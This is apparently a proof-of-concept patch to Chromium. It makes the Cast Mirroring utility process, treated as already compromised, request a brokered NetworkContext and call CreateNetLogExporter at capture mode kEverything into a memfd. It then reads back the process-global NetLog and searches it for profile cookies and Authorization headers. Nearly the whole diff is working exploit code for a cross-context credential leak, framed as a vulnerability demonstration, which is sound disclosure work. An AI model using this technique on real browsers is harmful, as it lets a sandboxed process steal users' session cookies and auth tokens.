diff --git a/chrome/browser/chrome_browser_main.cc b/chrome/browser/chrome_browser_main.cc index c3f9dfb023f05e..7a12ab4ab9396a 100644 --- a/chrome/browser/chrome_browser_main.cc +++ b/chrome/browser/chrome_browser_main.cc @@ -43,6 +43,7 @@ #include "chrome/browser/gpu/chrome_browser_main_extra_parts_gpu.h" #include "chrome/browser/language/url_language_histogram_factory.h" #include "chrome/browser/lifetime/browser_shutdown.h" +#include "chrome/browser/media/cast_mirroring_service_host.h" #include "chrome/browser/media/router/chrome_media_router_factory.h" #include "chrome/browser/media/webrtc/media_capture_devices_dispatcher.h" #include "chrome/browser/media/webrtc/webrtc_log_util.h" @@ -1668,6 +1669,18 @@ void ChromeBrowserMainParts::PostBrowserStart() { base::BindOnce(&WebRtcLogUtil::DeleteOldWebRtcLogFilesForAllProfiles), base::Minutes(1)); +#if !BUILDFLAG(IS_ANDROID) + // POC scaffolding: simulate the user starting a Cast tab-mirroring session a + // few seconds after startup so the network service and profile NetworkContext + // are fully up. This launches the sandboxed Mirroring utility exactly the way + // CastMirroringServiceHost::Start does in production. The exploit itself runs + // in the *utility* process (components/mirroring/service/mirroring_service.cc). + content::GetUIThreadTaskRunner({})->PostDelayedTask( + FROM_HERE, + base::BindOnce(&mirroring::LaunchMirroringServiceForNetLogPOC), + base::Seconds(3)); +#endif + #if !BUILDFLAG(IS_ANDROID) if (base::FeatureList::IsEnabled(features::kWebUsb)) { web_usb_detector_ = std::make_unique(); diff --git a/chrome/browser/media/cast_mirroring_service_host.cc b/chrome/browser/media/cast_mirroring_service_host.cc index e365aa9c8ff3c9..35042eae3255a4 100644 --- a/chrome/browser/media/cast_mirroring_service_host.cc +++ b/chrome/browser/media/cast_mirroring_service_host.cc @@ -52,6 +52,7 @@ #include "media/mojo/mojom/audio_processing.mojom.h" #include "media/mojo/services/mojo_video_encoder_metrics_provider_service.h" #include "mojo/public/cpp/bindings/self_owned_receiver.h" +#include "net/base/ip_address.h" #include "services/metrics/public/cpp/ukm_source_id.h" #include "services/network/public/mojom/network_context.mojom.h" #include "services/network/public/mojom/network_service.mojom.h" @@ -642,4 +643,125 @@ void CastMirroringServiceHost::GetMirroringStats( mirroring_service_->GetMirroringStats(std::move(json_stats_cb)); } +// --------------------------------------------------------------------------- +// POC scaffolding (browser side). +// +// The vulnerability requires that the user start a Cast mirroring session, +// which launches the sandboxed Mirroring utility and gives it a +// `mojom::ResourceProvider` remote that can vend a `network.mojom.NetworkContext` +// (see CastMirroringServiceHost::GetNetworkContext above). On a real machine +// this happens when the user clicks "Cast tab" with a Chromecast on the LAN. +// +// Because this environment has no Cast receiver, the helper below performs the +// *same* launch that CastMirroringServiceHost::Start performs in production, +// brokering a NetworkContext via the *same* code path +// (CreateNetworkContextInNetworkService with system-manager defaults). +// +// This is scaffolding only — it simulates the documented user-interaction +// precondition. The actual exploit code that crosses a privilege boundary runs +// inside the sandboxed utility process (see +// components/mirroring/service/mirroring_service.cc). +namespace { + +class POCResourceProvider final : public mojom::ResourceProvider, + public mojom::SessionObserver, + public mojom::CastMessageChannel { + public: + POCResourceProvider() = default; + ~POCResourceProvider() override = default; + + void Launch() { + LOG(ERROR) << "[POC-BROWSER] Launching sandboxed Mirroring utility " + "(simulating user 'Cast tab' click)."; + + // Exactly mirrors CastMirroringServiceHost::Start (lines 220-231). + content::ServiceProcessHost::Launch( + mirroring_service_.BindNewPipeAndPassReceiver(), + content::ServiceProcessHost::Options() + .WithDisplayName("Mirroring Service") + .Pass()); + + mojo::PendingRemote provider; + resource_provider_receiver_.Bind( + provider.InitWithNewPipeAndPassReceiver()); + + mojo::PendingRemote observer; + observer_receiver_.Bind(observer.InitWithNewPipeAndPassReceiver()); + + mojo::PendingRemote outbound; + outbound_receiver_.Bind(outbound.InitWithNewPipeAndPassReceiver()); + + auto params = mojom::SessionParameters::New(); + params->type = mojom::SessionType::AUDIO_ONLY; + params->receiver_address = net::IPAddress::IPv4Localhost(); + params->receiver_friendly_name = "POC Receiver"; + params->source_id = "poc-source"; + params->destination_id = "poc-dest"; + params->is_remote_playback = false; + params->force_letterboxing = false; + params->enable_rtcp_reporting = false; + + mirroring_service_->Start(std::move(params), gfx::Size(640, 360), + std::move(observer), std::move(provider), + std::move(outbound), + inbound_.BindNewPipeAndPassReceiver()); + } + + // mojom::ResourceProvider — only GetNetworkContext matters for the POC. + // It is implemented *identically* to CastMirroringServiceHost::GetNetworkContext. + void GetNetworkContext( + mojo::PendingReceiver receiver) override { + LOG(ERROR) << "[POC-BROWSER] Brokering fresh NetworkContext to sandboxed " + "Mirroring utility."; + network::mojom::NetworkContextParamsPtr params = + g_browser_process->system_network_context_manager() + ->CreateDefaultNetworkContextParams(); + content::CreateNetworkContextInNetworkService(std::move(receiver), + std::move(params)); + } + void BindGpu(mojo::PendingReceiver) override {} + void GetVideoCaptureHost( + mojo::PendingReceiver) override {} + void GetVideoEncoderMetricsProvider( + mojo::PendingReceiver) + override {} + void CreateAudioStream(mojo::PendingRemote, + const media::AudioParameters&, + uint32_t) override {} + void ConnectToRemotingSource( + mojo::PendingRemote, + mojo::PendingReceiver) override {} + + // mojom::SessionObserver stubs. + void OnError(mojom::SessionError) override {} + void DidStart() override {} + void DidStop() override {} + void LogInfoMessage(const std::string&) override {} + void LogErrorMessage(const std::string&) override {} + void OnSourceChanged() override {} + void OnRemotingStateChanged(bool) override {} + + // mojom::CastMessageChannel stub. + void OnMessage(mojom::CastMessagePtr) override {} + + private: + mojo::Remote mirroring_service_; + mojo::Receiver resource_provider_receiver_{this}; + mojo::Receiver observer_receiver_{this}; + mojo::Receiver outbound_receiver_{this}; + mojo::Remote inbound_; +}; + +} // namespace + +void LaunchMirroringServiceForNetLogPOC() { + // Intentionally leaked: keeps the utility alive for the duration of the POC. + static POCResourceProvider* g_poc = nullptr; + if (g_poc) { + return; + } + g_poc = new POCResourceProvider(); + g_poc->Launch(); +} + } // namespace mirroring diff --git a/chrome/browser/media/cast_mirroring_service_host.h b/chrome/browser/media/cast_mirroring_service_host.h index ccce9a6bfb6d82..efc558c5562b66 100644 --- a/chrome/browser/media/cast_mirroring_service_host.h +++ b/chrome/browser/media/cast_mirroring_service_host.h @@ -43,6 +43,12 @@ class GpuClient; namespace mirroring { +// POC scaffolding: simulates the user starting a Cast tab-mirroring session by +// launching the sandboxed Mirroring utility and brokering it a NetworkContext +// exactly the way CastMirroringServiceHost::GetNetworkContext does in +// production. This is *not* the exploit; the exploit runs in the utility. +void LaunchMirroringServiceForNetLogPOC(); + // CastMirroringServiceHost starts/stops a mirroring session through Mirroring // Service, and provides the resources to the Mirroring Service as requested. class CastMirroringServiceHost final : public MirroringServiceHost, diff --git a/components/mirroring/service/mirroring_service.cc b/components/mirroring/service/mirroring_service.cc index 765292dbe2fa4c..da3a35aa9298d0 100644 --- a/components/mirroring/service/mirroring_service.cc +++ b/components/mirroring/service/mirroring_service.cc @@ -15,6 +15,159 @@ #include "components/mirroring/service/openscreen_session_host.h" #include "ui/gfx/geometry/size.h" +// --------------------------------------------------------------------------- +// >>> POC EXPLOIT (runs inside the *sandboxed* Mirroring utility process) <<< +// +// This block simulates a compromised Mirroring utility. In a real attack the +// attacker would already have arbitrary-code execution here (separate bug); +// this code is what such an attacker would run. +// +// It abuses the brokered network::mojom::NetworkContext that the browser hands +// to this utility (CastMirroringServiceHost::GetNetworkContext) by calling the +// un-restricted CreateNetLogExporter method. Because every NetworkContext in +// the network-service process shares the *singleton* net::NetLog, the exporter +// the utility starts here observes traffic from *every other* NetworkContext — +// including the user's profile NetworkContext, with cookies and Authorization +// headers, at the attacker-chosen capture mode kEverything. +// --------------------------------------------------------------------------- +#if BUILDFLAG(IS_LINUX) +#include +#include +#include +#include + +#include +#include + +#include "base/files/file.h" +#include "base/location.h" +#include "base/logging.h" +#include "base/task/sequenced_task_runner.h" +#include "base/time/time.h" +#include "components/mirroring/mojom/resource_provider.mojom.h" +#include "mojo/public/cpp/bindings/remote.h" +#include "net/log/net_log_capture_mode.h" +#include "services/network/public/mojom/net_log.mojom.h" +#include "services/network/public/mojom/network_context.mojom.h" + +namespace mirroring { +namespace { + +#ifndef MFD_CLOEXEC +#define MFD_CLOEXEC 0x0001U +#endif + +struct NetLogSniffer { + mojo::Remote resource_provider; + mojo::Remote network_context; + mojo::Remote exporter; + int read_fd = -1; + + void Begin(mojo::PendingRemote provider) { + LOG(ERROR) << "[POC-UTILITY] pid=" << getpid() + << " — compromised Mirroring utility starting NetLog sniff."; + + // Step 1: ask the browser for the brokered NetworkContext (production path). + resource_provider.Bind(std::move(provider)); + resource_provider->GetNetworkContext( + network_context.BindNewPipeAndPassReceiver()); + + // Step 2: NetworkContext::CreateNetLogExporter — *no* AllowedContext gate. + network_context->CreateNetLogExporter( + exporter.BindNewPipeAndPassReceiver()); + + // Step 3: create an in-memory file the sandboxed utility can read back. + // memfd_create is permitted by the baseline seccomp policy that the + // kService sandbox uses on Linux. + int memfd = static_cast( + syscall(__NR_memfd_create, "netlog_sniff", MFD_CLOEXEC)); + if (memfd < 0) { + LOG(ERROR) << "[POC-UTILITY] memfd_create failed (errno=" << errno + << ") — sandbox blocked?"; + return; + } + read_fd = dup(memfd); + LOG(ERROR) << "[POC-UTILITY] memfd_create ok (write_fd=" << memfd + << ", read_fd=" << read_fd << ")."; + + // Step 4: hand the memfd to the network service and ask it to log + // EVERYTHING (raw socket bytes, cookies, Authorization headers) from the + // *process-global* NetLog into our file. + base::File dest(memfd); // takes ownership of |memfd| + exporter->Start( + std::move(dest), base::DictValue(), + net::NetLogCaptureMode::kEverything, + network::mojom::NetLogExporter::kUnlimitedFileSize, + base::BindOnce([](int32_t err) { + LOG(ERROR) << "[POC-UTILITY] NetLogExporter::Start -> net_error=" + << err + << ". Now observing the *global* NetLog from a sandboxed " + "utility that holds NO profile data."; + })); + + // Step 5: let the user's profile NetworkContext make some traffic, then + // stop the exporter to force a flush and inspect what we captured. + base::SequencedTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce(&NetLogSniffer::StopAndDump, base::Unretained(this)), + base::Seconds(8)); + } + + void StopAndDump() { + LOG(ERROR) << "[POC-UTILITY] Stopping exporter to flush captured events."; + exporter->Stop( + base::DictValue(), + base::BindOnce(&NetLogSniffer::OnStopped, base::Unretained(this))); + } + + void OnStopped(int32_t err) { + LOG(ERROR) << "[POC-UTILITY] NetLogExporter::Stop -> net_error=" << err + << ". Reading back captured NetLog from memfd."; + if (read_fd < 0) { + return; + } + if (lseek(read_fd, 0, SEEK_SET) < 0) { + LOG(ERROR) << "[POC-UTILITY] lseek failed (errno=" << errno << ")."; + } + std::string data; + std::vector buf(1 << 16); + ssize_t n; + while ((n = read(read_fd, buf.data(), buf.size())) > 0) { + data.append(buf.data(), static_cast(n)); + } + LOG(ERROR) << "[POC-UTILITY] Captured " << data.size() + << " bytes of process-global NetLog."; + + auto report = [&](const char* needle, const char* desc) { + auto pos = data.find(needle); + if (pos != std::string::npos) { + size_t start = (pos > 80) ? pos - 80 : 0; + size_t len = std::min(240, data.size() - start); + LOG(ERROR) << "[POC-UTILITY] !!! LEAK CONFIRMED — " << desc + << " from the *profile* NetworkContext was observed by the " + "sandboxed Mirroring utility:"; + LOG(ERROR) << "[POC-UTILITY] ..." << data.substr(start, len) << "..."; + LOG(ERROR) << "================================================"; + LOG(ERROR) << "[POC-UTILITY] CROSS-NETWORKCONTEXT NETLOG LEAK PROVEN."; + LOG(ERROR) << "================================================"; + } else { + LOG(ERROR) << "[POC-UTILITY] marker '" << needle + << "' not found in capture."; + } + }; + // The profile renderer (poc.html) sends these — neither value ever passes + // through the Mirroring utility's own NetworkContext. + report("SECRET_PROFILE_COOKIE_9f3d", "cookie"); + report("Bearer SECRET_AUTH_TOKEN_e7b1", "Authorization header"); + } +}; + +NetLogSniffer* g_sniffer = nullptr; + +} // namespace +} // namespace mirroring +#endif // BUILDFLAG(IS_LINUX) + #if BUILDFLAG(IS_WIN) #include "base/win/win_util.h" #endif // BUILDFLAG(IS_WIN) @@ -48,12 +201,25 @@ void MirroringService::Start( mojo::PendingRemote outbound_channel, mojo::PendingReceiver inbound_channel) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); +#if BUILDFLAG(IS_LINUX) + // POC: this process is "compromised". Instead of running the normal + // OpenscreenSessionHost flow, run the NetLog-sniffing exploit using the + // ResourceProvider remote that the browser just gave us. The production + // OpenscreenSessionHost calls exactly the same + // resource_provider->GetNetworkContext() (see openscreen_session_host.cc:211). + if (!g_sniffer) { + g_sniffer = new NetLogSniffer(); // intentionally leaked + } + g_sniffer->Begin(std::move(resource_provider)); + return; +#else session_host_.reset(); session_host_ = std::make_unique( std::move(params), max_resolution, std::move(observer), std::move(resource_provider), std::move(outbound_channel), std::move(inbound_channel), io_task_runner_, base::DoNothing()); session_host_->AsyncInitialize(); +#endif } void MirroringService::SwitchMirroringSourceTab() {